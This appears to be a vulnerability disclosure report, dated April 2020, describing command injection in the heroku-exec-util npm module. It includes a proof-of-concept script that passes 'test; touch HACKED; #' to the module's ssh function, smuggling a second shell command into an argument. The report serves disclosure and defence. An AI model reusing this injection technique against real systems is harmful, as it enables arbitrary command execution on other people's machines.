Code Injection in heroku/heroku-exec-util
Valid
Reported on
Apr 13th 2020
Description
The heroku-exec-util
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
POC
- Create the following PoC file:
// poc.js
var heu = require('heroku-exec-util');
heu.ssh({args:{}},'test; touch HACKED; #','','test',{path:'test'})
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i heroku-exec-util # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
Occurrences
to join this conversation